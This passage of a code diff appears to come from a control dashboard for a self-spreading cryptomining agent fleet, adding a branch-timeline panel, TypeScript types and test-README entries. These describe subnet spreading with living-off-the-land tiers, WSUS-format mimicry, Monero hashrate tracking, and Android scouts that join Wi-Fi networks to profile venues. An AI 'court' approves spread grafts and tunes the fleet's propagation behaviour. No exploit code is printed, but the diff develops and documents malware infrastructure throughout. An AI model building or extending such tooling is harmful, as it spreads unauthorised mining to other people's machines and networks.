PathTraceTimelineWS; + if (p.session_id && sessionID && p.session_id !== sessionID) return; + if (p.branches?.length) { + setTimelineBranches(p.branches); + } + if (p.mermaid) { + setMermaidSrc(mergeMermaidStyles(p.mermaid)); + } + if (p.event === 'fork') { + setTimelineNotice(`Ghost branches spawned (${p.branches?.filter((b) => b.is_ghost).length ?? 0})`); + } else if (p.event === 'branch_won') { + setTimelineNotice(`Branch won: ${p.branch?.persona ?? 'unknown'} — mining linked`); + } else if (p.event === 'merge') { + setTimelineNotice(`Merged ${p.branch?.persona ?? 'winner'} into canonical timeline`); + if (p.branch?.persona) setMergedPersona(p.branch.persona); + } + }, [latestMessage, sessionID]); + // Stop polling and auto-end timer on unmount. useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); @@ -172,6 +317,7 @@ export default function PathTracerPage() { if (status.spread_routes?.length) { setSpreadRoutes(status.spread_routes); } + applyTimelineStatus(status); if (status.error) { setError(status.error); clearInterval(pollRef.current!); @@ -213,9 +359,59 @@ export default function PathTracerPage() { setQR(null); setSelected([]); setSpreadRoutes([]); + setTimelineBranches([]); + setMermaidSrc(''); + setMergedPersona(''); + setTimelineNotice(''); setError(''); }, [sessionID]); + const handleForkAtHop = useCallback(async (hopIndex: number) => { + if (!sessionID || forkBusyHop !== null) return; + setForkBusyHop(hopIndex); + setTimelineNotice(''); + try { + const res = await api.forkTraceTimeline(sessionID, hopIndex); + if (res.branches?.length) { + setTimelineBranches((prev) => { + const ids = new Set(prev.map((b) => b.id)); + const merged = [...prev]; + for (const b of res.branches) { + if (!ids.has(b.id)) merged.push(b); + } + return merged; + }); + } + if (res.mermaid) setMermaidSrc(mergeMermaidStyles(res.mermaid)); + setTimelineNotice(`Forked at hop ${hopIndex + 1} — ${res.branches?.length ?? 0} ghost branches exploring`); + } catch (e: unknown) { + setError(e instanceof Error ? e.message : 'Fork failed'); + } finally { + setForkBusyHop(null); + } + }, [sessionID, forkBusyHop]); + + const handleMergeBranch = useCallback(async (branchId: string) => { + if (!sessionID || mergeBusy) return; + setMergeBusy(true); + try { + const res = await api.mergeTraceTimeline(sessionID, branchId); + if (res.branches?.length) setTimelineBranches(res.branches); + if (res.mermaid) setMermaidSrc(mergeMermaidStyles(res.mermaid)); + if (res.merged_persona) setMergedPersona(res.merged_persona); + setTimelineNotice(`Merged ${res.merged_persona} (${res.merged_spread_lane ?? 'default lane'})`); + } catch (e: unknown) { + setError(e instanceof Error ? e.message : 'Merge failed'); + } finally { + setMergeBusy(false); + } + }, [sessionID, mergeBusy]); + + const mergeCandidate = useMemo( + () => pickMergeCandidate(timelineBranches), + [timelineBranches], + ); + // Auto-delete the session 10 seconds after an error, with a visible countdown. useEffect(() => { if (!error || !sessionID) return; @@ -258,6 +454,13 @@ export default function PathTracerPage() { subtitle="Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE." /> + {graftNoteVisible && ( +

+ Genealogy grafting is active (Fleet AI + fleet roles) — court spread_graft splices + winning strains without re-spreading the target; tier order applies on the agent's next spread. +

+ )} + {error && (
⚠ Session Error @@ -357,6 +560,20 @@ export default function PathTracerPage() { {agent?.name ?? id.slice(0, 8)} {hop && } + {allHopsReady && sessionID && ( + + )}
{hop?.external_ip && (
@@ -421,6 +638,44 @@ export default function PathTracerPage() { {allHopsReady && (
✓ All hops ready — tunnel is active. + {mergedPersona && ( + + · merged persona: {mergedPersona} + + )} +
+ )} + + {(timelineBranches.some((b) => b.is_ghost) || mermaidSrc) && ( +
+
+ Onion Timeline +
+ {timelineNotice && ( +
{timelineNotice}
+ )} + + {mergeCandidate && mergeCandidate.status === 'won' && ( + + )} + {mermaidSrc && ( +
+ Mermaid branch graph +
{mermaidSrc}
+
+ )}
)} @@ -439,6 +694,10 @@ export default function PathTracerPage() {
)} + + {autopsySubnet && ( + + )}
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index eca2987..4d8104f 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -118,11 +118,43 @@ export interface Agent { parent_agent_id?: string; spread_generation?: number; spread_strain?: string; + graft_source_strain?: string; + graft_tier?: string; + graft_approved_at?: string; /** Cloned fleet phenotype from a sibling with the same host fingerprint. */ inherited_phenotype?: InheritedPhenotype; } +/** Light gamification card for a winning spread tree lineage. */ +export interface StrainCard { + id: string; + root_agent_id: string; + source_agent_id: string; + source_agent_name: string; + spread_strain: string; + spread_lane: string; + persona: string; + parents: StrainCardParent[]; + wins: string[]; + losses: string[]; + subnets: string[]; + erasure_recovery_rate: number; + peak_hashrate: number; + tier_order: string[]; + tree_size: number; + created_at?: string; + updated_at?: string; +} + +export interface StrainCardParent { + agent_id: string; + agent_name?: string; + join_lane?: string; + spread_lane?: string; + generation?: number; +} + export interface InheritedPhenotype { source_agent_name: string; fingerprint?: string; @@ -482,6 +514,24 @@ export interface AIDecisionRecord { judge_verdict?: string; } +/** Seer LLM stream event — GET /api/v1/seer/stream */ +export interface SeerEventRecord { + id: number; + event_type: string; + agent_id?: string; + payload: unknown; + ts?: string; +} + +/** Seer persisted AI memory note */ +export interface SeerNoteRecord { + id: number; + agent_id?: string; + note: string; + source?: string; + ts?: string; +} + export interface EarningsEstimate { hashrate: number; xmr_per_day: number; @@ -697,6 +747,38 @@ export interface SpreadRouteRecommendation { erasure_lanes_enabled?: boolean; } +export interface SubnetAutopsyAttempt { + agent_id?: string; + agent_name?: string; + tier: string; + ok: boolean; + error?: string; + duration_ms?: number; + phase?: string; +} + +export interface SubnetAutopsyPacket { + prefix: string; + triggered_at: string; + fail_count: number; + paused_until?: string; + lotl_attempts: SubnetAutopsyAttempt[]; + wsus_mimic: { + format_mimic_enabled: boolean; + cache_peer_lane: string; + recent_join_lane?: string; + }; + persona: string; + erasure_fallback: { + erasure_lanes_enabled: boolean; + available_as_fallback: boolean; + }; + gossip_whispers: { tier: string; condition: string; reason?: string }[]; + failure_atlas?: string; + cause_of_death: string; + vaccination_lane?: SpreadRouteRecommendation; +} + export interface ServiceGraphEntry { service_name: string; port?: number; diff --git a/tests/README.md b/tests/README.md index 6280783..b912013 100644 --- a/tests/README.md +++ b/tests/README.md @@ -64,6 +64,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme | **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` | | **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` | | **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` | +| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.graft.test.tsx`, `PathTracerPage` graft note | | **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` | | **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` | | **APK scout mode** | Forge `scout_mode` / `ApkMode`; agent `client/scout_mode.go`; builder `build_apk.go` | `go test ./client/... -run Scout -count=1`; `go test ./internal/builder/... -run Apk -count=1`; `go test ./internal/api/... -run Scout -count=1` | @@ -258,6 +259,7 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1 | Scout discover skips staging | `agent/deploy/scout_discover_test.go` | 2 | | Scout remote action gates | `agent/client/scout_mode_test.go` | 2 | | Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 | +| Scout constellation venues (SSID → persona pack) | `server/internal/ai/scout_constellation_test.go`, `server/internal/api/scout_constellation_test.go`, `agent/client/scout_constellation_test.go`, `agent/deploy/scout_wifi_test.go`, `server/web/src/help/scoutBiomeWeather.test.ts` | 1 | ### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance) @@ -764,7 +766,7 @@ Optional probe env vars for Access Depth (`environment_probes`): - `AETHERFORGE_BATTERY_OK=1` - `AETHERFORGE_FOREGROUND_SERVICE=1` -Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. +Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. **Scout constellation mode** (zero config): 3+ `scout_report` hits on the same SSID within 10 minutes form a venue constellation; server infers `airport`/`campus`/`retail`/`unknown` and pushes venue persona packs via `spread_policy` + `policy_update`. APK scouts send `ssid` from `AETHERFORGE_WIFI_SSID`; Emberwake/dashboard weather-map merges active scout biomes. Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts.